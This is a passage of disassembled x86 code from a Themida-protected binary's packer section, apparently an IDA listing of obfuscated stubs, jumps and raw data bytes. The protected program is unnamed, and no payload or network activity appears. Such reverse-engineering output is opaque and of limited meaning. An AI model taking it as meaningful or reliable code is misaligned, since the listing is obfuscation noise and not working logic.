loc_58DED7:				; CODE XREF: Themida_:0058CF4Dj
		add	esp, 4
		jmp	loc_58CEF1
; ---------------------------------------------------------------------------
aBLqriZsa	db 'êÈ«ŸR‰ÖZé€',0Ah,0
		db 0
; ---------------------------------------------------------------------------


loc_58DEED:				; CODE XREF: Themida_:0058B259j
		sub	ecx, 0AE31209h
		sub	ecx, 1DF27CBh
		jmp	loc_58F2E3
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 405h, 4C08300h, 5C240487h, 4B951h, 0EA810000h, 6C6731E1h
		dd 0C281CA01h, 6C6731E1h, 24148759h, 8897E95Ch,	0E589FFFFh
		dd 4C581h, 0ED830000h, 242C8702h, 6624248Bh, 0E9241C89h
		dd 0FFFF9E39h, 27685F97h, 89000064h, 42BA2414h,	29EF6E2Ch
		dd 0C3015AD0h, 2C38158h, 33000000h, 1C31241Ch, 241C3324h
		dd 0E924248Bh, 0FFFFA66Ch, 1A37E953h, 0E95A0000h, 0FFFF9D17h
		dd 0BEA8142h, 2920010Eh, 0D5E95AD6h, 5300001Ah,	0BD55E389h
		dd 4, 575DEB01h, 4EC81h, 14890000h, 0F75E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58DFA6:				; CODE XREF: Themida_:0058AE94j
		add	esp, 4
		jmp	loc_590FDE
; ---------------------------------------------------------------------------
		dw 0F748h
		dd 4DB82DD0h, 0D0F73D1Bh, 0B9B02205h, 2B4AE9A9h, 81590000h
		dd 944CABF1h, 0D56DE975h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58DFCE:				; CODE XREF: Themida_:005890DDj
		movzx	eax, al
		push	38F5h
		jmp	loc_58DC4E
; ---------------------------------------------------------------------------
		db 68h
		dd 6F90h, 54241489h, 5FA6685Ah,	0C890000h, 4B924h, 47E90000h
		dd 0FFFFFFDBh, 34FF2434h, 0C4815824h, 4, 4EC81h, 3C890000h
		dd 0E9E78924h, 11C7h
; ---------------------------------------------------------------------------


loc_58E014:				; CODE XREF: Themida_:005912ADj
		and	ecx, eax
		pop	eax
		shr	ecx, 0Bh
		push	7008h
		jmp	loc_58F039
; ---------------------------------------------------------------------------
		dd 2BA52h, 0EB810000h, 165C5825h, 29F5E9h
		db 0
; ---------------------------------------------------------------------------


loc_58E035:				; CODE XREF: Themida_:00590492j
		pop	ecx
		add	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	edx, 41AA6475h
		add	edx, ecx
		jmp	loc_58E548
; ---------------------------------------------------------------------------
		db 5Bh
		dd 5C24048Fh, 24040966h, 7C69E99Ch, 79BFFFFFh, 5205ED76h
		dd 580F7FBAh, 9048E946h, 15FFFFFh, 92E95EF3h, 83FFFFE0h
		dd 0E95204C4h, 2110h, 0C681E689h, 4, 4C681h, 34870000h
		dd 0C99FE924h, 4BBFFFFh, 0E9000000h, 0FFFFFDF6h, 8324048Bh
		dd 0C28104C4h, 79C3515Fh, 0FFC2F7E9h, 9DFBBEFFh, 0C7812FE6h
		dd 0BC712E3h, 0EF81F729h, 0BC712E3h, 5FF9895Eh,	55ACC981h
		dd 0E981490Ch, 1, 0B85057h, 50000000h, 3849E9h
		db 0
; ---------------------------------------------------------------------------


loc_58E0DD:				; CODE XREF: Themida_:005869CAj
		mov	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5880FC
; ---------------------------------------------------------------------------
aZuhsy		db 'ZUh˜y',0
		align 4
		dd 68240489h, 1E854EBBh, 4EB72D58h, 5D501E85h, 0E9E90158h
		dd 0FFFFE448h
; ---------------------------------------------------------------------------


loc_58E10C:				; CODE XREF: Themida_:00588AF4j
		mov	[esp], esi
		mov	esi, 7631115h
		sub	[esp+8], esi
		pop	esi
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_58F431
; ---------------------------------------------------------------------------
		db 0B8h
		dd 33FB300Bh, 0C1D0F740h, 96E908E8h, 89FFFFDEh,	15E9240Ch
		db 84h,	2 dup(0FFh)
byte_58E13F	db 66h			; DATA XREF: Themida_:00585BE4o
		dd 0E924048Bh, 36CFh
; ---------------------------------------------------------------------------


loc_58E148:				; CODE XREF: Themida_:0058F277j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_58DA89
; ---------------------------------------------------------------------------


loc_58E15D:				; CODE XREF: Themida_:0058832Ej
		shr	edi, 2
		dec	edi
		xchg	esi, edi
		jmp	loc_58694C
; ---------------------------------------------------------------------------
		dd 0C15AD589h, 0DDF708EDh, 0D0F7ED81h, 85E9B728h, 81FFFFC7h
		dd 6238D7C1h, 0DDE9810Ch, 810CE979h, 0DD1F87EAh, 81CA0101h
		dd 0DD1F87C2h, 0EAC15901h, 0D4BF5708h, 310DA35Fh, 0C8E95FFAh
		dd 5D00002Eh, 0FFF529E9h, 5FFB89FFh, 0CBE9D801h, 83000037h
		dd 526604C4h, 0D024B450h, 80C4FEE4h, 0E4E96BCCh
		db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58E1CB:				; CODE XREF: Themida_:0058A434j
		neg	esi
		xor	esi, 1143C8D9h
		add	edi, esi
		mov	esi, [esp]
		jmp	loc_58ADCF
; ---------------------------------------------------------------------------


loc_58E1DD:				; CODE XREF: Themida_:0058CD45j
		sub	esi, ebp
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_589839
; ---------------------------------------------------------------------------
word_58E1EA	dw 28Fh			; DATA XREF: Themida_:00585B8Co
		dd 0FF7AD2E9h, 68DAF7FFh, 5F25h, 0FFF719E9h, 4C481FFh
		dd 0E9000000h, 0FFFFC401h, 6205D001h, 0FF043939h, 34FF2434h
		dd 0E1CBE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58E21A:				; CODE XREF: Themida_:00591BA4j
		mov	ecx, [esp]
		jmp	loc_58C060
; ---------------------------------------------------------------------------
		dw 815Dh
		dd 9C7DD6C2h, 0D102E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58E22E:				; CODE XREF: Themida_:00587A0Cj
		add	edi, eax
		sub	edi, 7481451h
		pop	eax
		push	3F1Dh
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		shr	eax, 12h
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		push	5B1Bh
		mov	[esp], ebp
		push	dword ptr [esp]
		jmp	loc_58D00E
; ---------------------------------------------------------------------------
		dd 0E5EAE955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58E26E:				; CODE XREF: Themida_:0058B4B7j
		push	eax
		mov	eax, 5CC06B15h
		inc	eax
		inc	eax
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 455E5823h
		jmp	loc_587117
; ---------------------------------------------------------------------------
		dw 0E951h
		dd 0FFFFF752h
dword_58E28C	dd 240C8B66h, 0C8B5451h, 4C48324h, 2209BF57h, 0C7814DF3h
					; DATA XREF: Themida_:00585C6Co
		dd 4F646EF7h, 3313BE56h, 0DEF70E8Eh, 9ABFEE81h,	0F731BACBh
		dd 83DFF75Eh, 0B850FFEFh, 4E9D7786h, 0FFFCE9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58E2C5:				; CODE XREF: Themida_:0058F789j
		push	5ABA4E05h
		pop	esi
		neg	esi
		push	eax
		mov	eax, 19C32202h
		sub	esi, eax
		jmp	loc_58F9A7
; ---------------------------------------------------------------------------
		dw 489h
		dd 8B585224h, 0EC832414h, 242C8904h, 39E9E589h
		db 99h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58E2EF:				; CODE XREF: Themida_:0058FD25j
		inc	ecx
		xor	ecx, 0FC86646Ah
		sub	eax, ecx
		pop	ecx
		add	eax, ebx
		add	eax, 73D95B18h
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	5B7Dh
		mov	[esp], ebp
		jmp	loc_58A58D
; ---------------------------------------------------------------------------
		db 51h
		dd 68h,	0C360E900h, 0E991FFFFh,	0FFFFC3FBh, 56535E54h
		dd 657F5ABEh, 4EC8325h,	0B9240C89h, 25B26AACh, 15F2F181h
		dd 0CB8900D7h, 5EF32959h, 11E9DE01h, 81FFFF99h,	23483DEEh
		dd 91B9513Dh, 816F4925h, 9623B4C6h, 81CE294Bh, 9623B4EEh
		dd 240C8B4Bh, 5504C483h, 0EC1D2ABDh, 58B5BB3Eh,	0EB310EE1h
		dd 1EC3815Dh, 53169F4Fh, 0FFD6B7E9h, 241489FFh,	4BAh, 6DBB5300h
		dd 128641Ah, 0EE815BDEh, 2F4D1119h, 2465C681h, 0D629250Bh
		dd 2465EE81h, 0C681250Bh, 2F4D1119h, 23A0E9h
		db 0
byte_58E3B9	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:00585A14o
		dd 419589Dh, 0A5E99C24h
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58E3C7:				; CODE XREF: Themida_:0058A947j
		push	7064h
		mov	[esp], ecx
		mov	ch, 0D1h
		and	ch, 69h
		jmp	loc_589121
; ---------------------------------------------------------------------------
		db 31h,	2Ch, 24h
		dd 0FF8770E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58E3E1:				; CODE XREF: Themida_:0059197Dj
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	esi
		mov	esi, 4
		jmp	loc_590FC1
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 0BFh
		dd 13090B4h, 657E9DFh, 44B70000h, 5073F780h, 0C72838B0h
		dd 2C940458h, 4F8280Dh,	5B942C0Dh, 0E958C188h, 0F63h, 815EF221h
		dd 4ECh, 24348900h, 3B66A1BEh, 0A0F68125h, 8159E545h, 0AE50A8E6h
		dd 0ACE68160h, 4678893Ah, 0B2F0EE81h, 85E9F898h
		db 7Dh,	2 dup(0FFh)
byte_58E457	db 66h			; DATA XREF: Themida_:00585A24o
		dd 68240C8Bh, 591Eh, 54242C89h,	138EE95Dh, 87580000h, 535C241Ch
		dd 4BBh, 5BDA0100h, 3302C283h, 14312414h, 24143324h, 6624248Bh
		dd 5024048Bh, 0C672E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58E492:				; CODE XREF: Themida_:0058AE05j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		shl	eax, 3
		jmp	loc_5885F0
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 0DBh
		dd 55388503h, 5F5FB951h, 81511B18h, 5A16242Ch, 7CE90E7Ch
		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58E4BB:				; CODE XREF: Themida_:00587D97j
		add	ebx, edi
		pop	edi
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_58880B
; ---------------------------------------------------------------------------
		dw 2489h
		dd 787CE924h, 0ECE9FFFFh
		db 77h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58E4D7:				; CODE XREF: Themida_:005874C6j
		xchg	edx, [esp]
		pop	esp
		jmp	loc_59042F
; ---------------------------------------------------------------------------


loc_58E4E0:				; CODE XREF: Themida_:005915EEj
		movzx	ax, byte ptr [eax]
		push	small 5913h
		mov	[esp], ax
		jmp	loc_587C8E
; ---------------------------------------------------------------------------
		db 29h,	0FBh, 5Fh
		dd 0C381C301h, 7957448Fh, 5DDBBF57h, 81E932D0h
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58E507:				; CODE XREF: Themida_:00589FEFj
		add	edx, esi
		pop	esi
		jmp	loc_58C252
; ---------------------------------------------------------------------------
		db 81h
		dd 0E1531CBh, 83B95169h, 0F7281848h, 0C8C181D1h, 317193B8h
		dd 240C8BCBh, 4C481h, 1E90000h,	89000011h, 0E1815FF9h
		dd 157B59D8h, 5116E981h, 0E9511078h, 0FFFFC835h
; ---------------------------------------------------------------------------


loc_58E548:				; CODE XREF: Themida_:0058E046j
		add	edx, 41AA6475h
		push	dword ptr [esp]
		jmp	loc_5916BC
; ---------------------------------------------------------------------------
		dw 0E780h
		dd 0F6DFF6C3h, 0ABE4E9DFh
		db 2 dup(0FFh)
word_58E562	dw 0EC83h		; DATA XREF: Themida_:005859F8o
		dd 24048904h, 405E089h,	2D000000h, 4, 0FFD2B6E9h, 815E54FFh
		dd 4C6h, 35C0E900h, 53590000h, 30347FBBh, 1AEB8139h, 812D0B10h
		dd 0D33073F3h, 3E3C126h, 40DDC381h, 0E4E96A05h,	81FFFFF3h
		dd 0A5192BEAh, 0C201590Ch, 2503EA81h, 81585067h, 2C2h
		dd 74FF5200h, 8F5A0424h, 248B2404h, 8BBBE924h, 0F0E9FFFFh
		dd 5CFFFF76h, 2097E9h, 5654BF00h, 0FEE953A8h
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58E5E3:				; CODE XREF: Themida_:0058817Ej
		push	ecx
		jmp	loc_58C461
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 0FFDDA4E9h, 0E2BA52FFh, 81409F4Ah, 0D70065C2h, 0EAC14A32h
		dd 0C2C28106h, 81404C61h, 1A3AEBEAh, 5AD60142h,	4BF57h
		dd 0BA520000h, 38724267h, 0F158C281h, 0C681D9B0h, 742E24E1h
		dd 0FFF4ACE9h, 4BAFFh, 0D1010000h, 8324148Bh, 0EC8104C4h
		dd 4, 0BF243C89h, 2, 0FFA44EE9h, 8668FFh, 1C890000h, 8002B324h
		dd 0D3F6BCC3h, 0F6D98851h, 7FF0E9D1h, 0C281FFFFh, 611383D9h
		dd 6B3FC181h, 2FE93823h, 5DFFFF81h, 33AE9h
		db 0
; ---------------------------------------------------------------------------


loc_58E67D:				; CODE XREF: Themida_:00587EFDj
		pop	edx
		jmp	loc_589C9D
; ---------------------------------------------------------------------------
		db 5Dh
		dd 5C243C87h, 66241489h, 664D88BAh, 6603EAC1h, 0C9D3EA81h
		dd 8BD52166h, 0D6E92414h, 59FFFFE6h, 0A801EF81h, 75E9C2F7h
		dd 5EFFFFAFh, 20F3F681h, 0B8501AA8h, 3BA9750Ah,	0E940D0F7h
		dd 0FFFF87F7h, 0AB243481h, 0E975944Ch, 0FFFFF8F2h, 81243C8Bh
		dd 4C4h, 112DE900h, 68660000h, 8966756Eh, 89B7241Ch, 5B66FE30h
		dd 34FFF030h, 0E45FE924h
		db 2 dup(0FFh)
word_58E6F6	dw 8950h		; DATA XREF: Themida_:00585A04o
		dd 405E0h, 47E90000h
		db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58E703:				; CODE XREF: Themida_:0058A143j
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		xchg	edx, [esp]
		jmp	loc_58F77D
; ---------------------------------------------------------------------------
		db 8Fh
		dd 315C2404h, 0A908E9C3h, 2C89FFFFh, 5092BD24h,	0EDC13EF0h
		dd 4AE58106h, 815B9B69h, 9B4140EDh, 0ACEE8100h,	12DDD2Eh
		dd 7AA7E9EEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58E742:				; CODE XREF: Themida_:00590E80j
		sub	esp, 4
		jmp	loc_58CAA4
; ---------------------------------------------------------------------------
		dw 4BFh
		dd 1000000h, 34875FFEh,	48F5C24h, 24248B24h, 9C2404FFh
		dd 0FF755EE9h, 164968FFh, 0E95F0CF1h, 0FFFFB6C5h, 212DD829h
		dd 8B01F377h, 8951241Ch, 0C8FDE9E1h, 0E781FFFFh, 69A4C1Fh
		dd 0A0FE9h
		db 0
; ---------------------------------------------------------------------------


loc_58E78D:				; CODE XREF: Themida_:00590C29j
		mov	ecx, 47B40E6h
		push	ecx
		add	dword ptr [esp], 40AF16B9h
		pop	eax
		sub	eax, 40AF16B9h
		pop	ecx
		add	[esp+4], eax
		jmp	loc_58F966
; ---------------------------------------------------------------------------
		dw 0DEB8h
		dd 0BA0BE255h, 35CE8ED2h, 0FF97A4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58E7B9:				; CODE XREF: Themida_:00586C58j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_58C8B6
; ---------------------------------------------------------------------------
		db 89h
		dd 4C381E3h, 83000000h,	1C8704C3h, 56E95C24h, 5CFFFF8Dh
		dd 0C8AF0F66h, 0E99C5166h, 0FFFF74CFh, 7C36BE05h, 0F10CE955h
		dd 0EC81FFFFh, 4, 0BD242C89h, 4, 1FA4EE81h, 0EE293FE2h
		dd 0FFF2AAE9h, 241431FFh, 8B241433h, 0F662424h,	9C2404ABh
		dd 0FF7496E9h, 21665CFFh, 0E99C2404h, 0FFFF748Bh, 4BFh
		dd 71E98100h, 1578B5Ah,	0E7DBE9F9h, 5966FFFFh, 2E2CD000h
		dd 0FFE9C9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58E855:				; CODE XREF: Themida_:0058DAACj
		xor	ebp, [esp]
		mov	esp, [esp]
		sub	ecx, 546E5614h
		mov	eax, [esp]
		add	esp, 4
		push	2FDAh
		mov	[esp], edx
		jmp	loc_58EA7D
; ---------------------------------------------------------------------------
		db 0C1h
		dd 86E907E5h, 89FFFFDCh, 4C381E3h, 81000000h, 4C3h, 241C8700h
		dd 240C8B5Ch, 0E904C483h, 0FFFF9097h
; ---------------------------------------------------------------------------


loc_58E89C:				; CODE XREF: Themida_:0058FB87j
		sub	ecx, 74F604Ah
		neg	ecx
		sub	ecx, 589CDE7h
		add	ebp, ecx
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_586FF2
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 5F6D5933h, 7EBB535Eh, 935B232h, 0F2815BDAh, 0D2EBE730h
		dd 815AD029h, 0E619BCEBh, 0E6C38166h, 811F4A55h, 0D978EFEBh
		dd 196CE942h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58E8FA:				; CODE XREF: Themida_:00588A0Ej
		mov	ebp, [esp]
		add	esp, 4
		sub	ecx, esi
		pop	esi
		mov	eax, [ecx]
		mov	ecx, [esp]
		jmp	loc_5860F5
; ---------------------------------------------------------------------------
byte_58E90D	db 66h,	0F7h, 1Ch	; DATA XREF: Themida_:00585A30o
		dd 0ACE99C24h, 5BFFFF73h, 4EC835Fh, 0BE243489h,	100E4483h
		dd 0FF840AE9h, 0B9EF81FFh, 0E9417305h, 19C3h, 242C8B54h
		dd 4EC81h, 8EE90000h, 50FFFF9Bh, 604BC6B8h, 96EAE902h
		dd 0C483FFFFh, 49C58004h, 0C8BEB00h, 0E1895124h, 4C181h
		dd 0FAE90000h, 42FFFFC4h, 0FFCA32E9h, 5EF329FFh, 0BBBCE956h
		dd 665CFFFFh
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 4E2630F3h
		dec	eax
		neg	eax
		sub	eax, 0B1D9CF0Ah
		add	ebp, eax
		jmp	loc_58C001
; ---------------------------------------------------------------------------


loc_58E993:				; CODE XREF: Themida_:005865B3j
		push	edx
		push	1B840286h
		pop	edx
		add	edi, edx
		pop	edx
		push	edi
		xchg	ebx, [esp]
		not	ebx
		xchg	ebx, [esp]
		mov	edi, [esp]
		add	esp, 4
		add	edi, 417B3D52h
		jmp	loc_58C5B9
; ---------------------------------------------------------------------------
		db 81h
		dd 490DC5C5h, 5DEA89F8h, 0C15AD629h, 0F68106EEh, 27584AFEh
		dd 62DC68h, 0A783E900h,	0C801FFFFh, 2726E9h, 0E9D30100h
		dd 0EA8h, 0E94BC380h, 0FFFFA84Dh
dword_58E9EC	dd 8124048Bh, 4ECh, 24348900h, 31C1E9h,	9DE6800h, 4890000h
					; DATA XREF: Themida_:00585AFCo
		dd 5A545224h, 202AE9h, 2E3C100h, 18A9E9h, 0C0B60F00h, 24148B66h
		dd 4EC8356h, 81242489h,	42404h,	685E0000h, 6E5Ch, 53240489h
		dd 0D7669BBBh, 3EBC113h, 0F381DBF7h, 0FD851329h, 0FF8A13E9h
		dd 240489FFh, 5AFDB866h, 6E0C166h, 5E0C166h, 0CFE0566h
		dd 13F3E9h, 0F8315B00h,	0FFD880E9h, 0E18951FFh,	4C181h
		dd 0E9810000h, 4, 0FFE385E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58EA7D:				; CODE XREF: Themida_:0058E872j
		sub	esp, 4
		jmp	loc_588621
; ---------------------------------------------------------------------------
		db 0F6h, 0D3h, 0E9h
		dd 0FFFFE44Ch, 0F87BC468h, 240C8B50h, 4C481h, 0BB530000h
		dd 2322009h, 525BD921h,	613809BAh, 0B5F8E91Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58EAAE:				; CODE XREF: Themida_:0058C260j
		mov	esp, [esp]
		push	ebp
		push	2E5Bh
		mov	[esp], eax
		mov	eax, 6EB01CC0h
		inc	eax
		not	eax
		jmp	loc_58973A
; ---------------------------------------------------------------------------
		db 89h
		dd 7AA2E9E0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58EACE:				; CODE XREF: Themida_:00589D4Dj
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_58A35D
; ---------------------------------------------------------------------------
		db 68h,	4, 0
		dd 15F0000h, 1C875FFBh,	0F9685C24h, 89000027h, 2DB7241Ch
		dd 0E780E7D0h, 0D7D9E902h, 0F181FFFFh, 11A0019Eh, 3559C821h
		dd 20540146h, 0FFC95BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58EB0D:				; CODE XREF: Themida_:00585E49j
		mov	[esp], edx
		jmp	loc_58F53B
; ---------------------------------------------------------------------------
		db 89h,	0E3h, 50h
		dd 5B42BEB8h, 5C8E0D34h, 0F79309ECh, 7D2D93D3h,	3550B418h
		dd 61DD5B7Eh, 36BD5557h, 0BF515944h, 0AEA6BBCAh, 0E95DEF01h
		dd 0FFFFEF3Eh, 0E5F58158h, 1ACA832h, 0EE49E9EEh, 0EFC1FFFFh
		dd 0E2C78107h, 0E96EC95Eh, 0FFFFA26Fh, 8904EC83h, 0D5B82404h
		dd 0E9313949h, 4DEh, 4EA81h, 14870000h,	24248B24h, 50243489h
		dd 10BAE9h, 0CB015B00h,	81240C8Bh, 4C4h, 241C8700h, 4C4815Ch
		dd 0B000000h, 1E840FC0h, 68FFFFD1h, 7C06h, 0FFC50AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58EBAD:				; CODE XREF: Themida_:005863C7j
		mov	ebp, 33CA173Eh
		add	esi, ebp
		pop	ebp
		dec	esi
		add	esi, 0CC34B803h
		add	ecx, esi
		pop	esi
		jmp	loc_587C99
; ---------------------------------------------------------------------------
		dd 0FF70FAE9h, 0E9E789FFh, 0FFFFD23Dh, 815AD589h, 5E1A80C2h
		dd 0D360E90Bh, 5B66FFFFh, 0D7AE9h, 2434FF00h, 4C4835Bh
		dd 0B60FC330h, 8734FFC0h, 19B85051h, 4033C35Bh,	0FF7107E9h
		dd 52D828FFh, 0F02882B6h, 241C8B5Ah, 815B5453h,	4C3h, 4C38100h
		dd 87000000h, 248B241Ch, 2F34E924h, 74FF0000h, 88E90424h
		dd 50FFFF88h, 55E9F088h, 0FFFFFF7Eh, 815E2434h,	4C4h, 5FBF5700h
		dd 970CA3Eh, 0E6815FFEh, 139E5574h, 1DDDBB53h, 0DBF77BE9h
		dd 0A5F38143h, 81128261h, 0AE3547EBh, 0B0EEE95Dh, 0E7C1FFFFh
		dd 0BA525302h, 5D9F6A3Dh, 761EF281h, 5FE96B94h
		db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58EC7F:				; CODE XREF: Themida_:00586A29j
		or	edx, ebx
		pop	ebx
		push	edi
		mov	edi, 3E6C288Ah
		or	edx, edi
		pop	edi
		push	esi
		jmp	loc_58D9B1
; ---------------------------------------------------------------------------


loc_58EC91:				; CODE XREF: Themida_:0058A4B9j
		push	esi
		mov	esi, 2B5E4EABh
		push	ebp
		mov	ebp, 90956B6h
		jmp	loc_5889F5
; ---------------------------------------------------------------------------
word_58ECA2	dw 8B66h		; DATA XREF: Themida_:00585B68o
		dd 3D68240Ch, 89000071h, 0E2892414h, 0FF924DE9h, 685651FFh
		dd 3D072580h, 70C1E95Eh, 0F66FFFFh, 686600B6h, 1CE9037Ch
		dd 5FFFFF8Dh, 4BCDE581h, 0F58165C6h, 2DAB125Ah,	0EF32C581h
		dd 0EF81D7D6h, 671025CDh, 0C781EF01h, 671025CDh, 0DA5CE95Dh
		dd 7C01FFFFh, 0FF5F0424h, 5AE92434h, 0F7FFFF7Fh, 118A68E1h
		dd 14890000h, 0CB8AE924h
		db 2 dup(0FFh)
word_58ED12	dw 77FFh		; DATA XREF: Themida_:005859FCo
		dd 96BB533Ch, 0E90F5606h, 21D8h, 5966EB28h, 68E3EB80h
		dd 28D0h, 22FDE9h, 46BD5500h, 29150E29h, 0C8015DE9h, 81240C8Bh
		dd 4C4h, 9BB95100h, 2915CA43h, 0D82959C8h, 0CA439B05h
		dd 265FE915h, 248B0000h, 0B730E924h, 0D1F7FFFFh, 0FFE5ACE9h
		dd 0E78957FFh, 4BA52h, 52E90000h, 8BFFFFB0h, 62E92414h
		dd 35FFFFEBh, 467127A9h, 0F03E9h, 0C8B6600h, 180EE924h
		dd 0BA520000h, 2, 815AD701h, 4ECh, 243C8900h, 42474FFh
		dd 24048F5Fh, 196E9h, 5B8C0500h, 30FF39A3h, 14240481h
		dd 8B546E56h
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 4
		add	ebp, edx
		mov	edx, [esp]
		jmp	loc_58DAA3
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 67E95100h
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58EDE7:				; CODE XREF: Themida_:0058FB3Bj
		xor	esi, [esp]
		mov	esp, [esp]
		push	ecx
		mov	ch, 5Fh
		jmp	loc_58DB4D
; ---------------------------------------------------------------------------


loc_58EDF5:				; CODE XREF: Themida_:0058FCB6j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_5884E3
; ---------------------------------------------------------------------------
		db 81h
		dd 4C5h, 4C58100h, 87000000h, 248B242Ch, 2434FF24h, 83240C8Bh
		dd 685004C4h, 7EF6h, 83242489h,	58042404h, 0FF84E8E9h
		dd 4B00BEFFh, 81466484h, 581958E6h, 0D0E68111h,	0F70A2C0Bh
		dd 0ACC681D6h, 894BB542h, 0C9815EF1h, 294022Ch,	6FA868h
		dd 242C8900h, 5BCDD3BDh, 82ECE9F8h, 4D5FFFFFh, 0FFF9FEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58EE79:				; CODE XREF: Themida_:0058F923j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 3DAF1E0Fh
		sub	ebx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_58AE99
; ---------------------------------------------------------------------------


loc_58EEA1:				; CODE XREF: Themida_:0058BA3Bj
		push	edi
		push	22D4F4Fh
		pop	edi
		or	eax, edi
		pop	edi
		sub	eax, 18274740h
		sub	ebx, eax
		pop	eax
		jmp	loc_5903CA
; ---------------------------------------------------------------------------


loc_58EEB8:				; CODE XREF: Themida_:00587F16j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		push	1
		mov	edx, [esp]
		jmp	loc_58A3F2
; ---------------------------------------------------------------------------


loc_58EED7:				; CODE XREF: Themida_:0058A6A7j
		pop	esp
		mov	[esp], eax
		mov	eax, 45ED4CD8h
		and	edx, eax
		pop	eax
		neg	edx
		push	eax
		mov	eax, 50D35B78h
		or	eax, 5A1C350Fh
		sub	eax, 6B832264h
		xor	eax, 71C0E44h
		add	eax, 3C01F2Ch
		or	eax, 11414EFDh
		sub	eax, 0CF93635Bh
		or	edx, eax
		pop	eax
		not	edx
		sub	edx, 3EB44FD6h
		add	esi, edx
		jmp	loc_591626
; ---------------------------------------------------------------------------
		db 0BAh
		dd 0AF823ACh, 835A5F52h, 0C781FFC7h, 4AE236A3h,	72F2C781h
		dd 77E9740Ch, 89FFFF71h, 0B4B82404h, 294C6312h,	69E958C3h
		dd 8BFFFFE8h, 4082424h,	70E99C24h, 87FFFF6Dh, 15C241Ch
		dd 0FF535FFBh, 8B042474h, 8956241Ch, 4C681E6h, 83000000h
		dd 348704C6h, 0E24FE924h, 0CD81FFFFh, 7B68117Bh, 3D2FF581h
		dd 0EE897C17h, 74B8505Dh, 813EAF25h, 552E60C5h,	81C52960h
		dd 552E60EDh, 0E9525860h, 1FDAh, 468h, 0C3815F00h, 401662ADh
		dd 0B951FB01h, 73E73B1h, 5E1C149h, 0C9814941h, 2BF96652h
		dd 131FE9h
		db 0
; ---------------------------------------------------------------------------


loc_58EFC5:				; CODE XREF: Themida_:0058F86Cj
		inc	ebx
		sub	ebx, 5C4B1427h
		jmp	loc_58ACB5
; ---------------------------------------------------------------------------


loc_58EFD1:				; CODE XREF: Themida_:0058F84Bj
		pop	edi
		jmp	loc_58D717
; ---------------------------------------------------------------------------


loc_58EFD7:				; CODE XREF: Themida_:0058D104j
		pop	ebx
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	edx
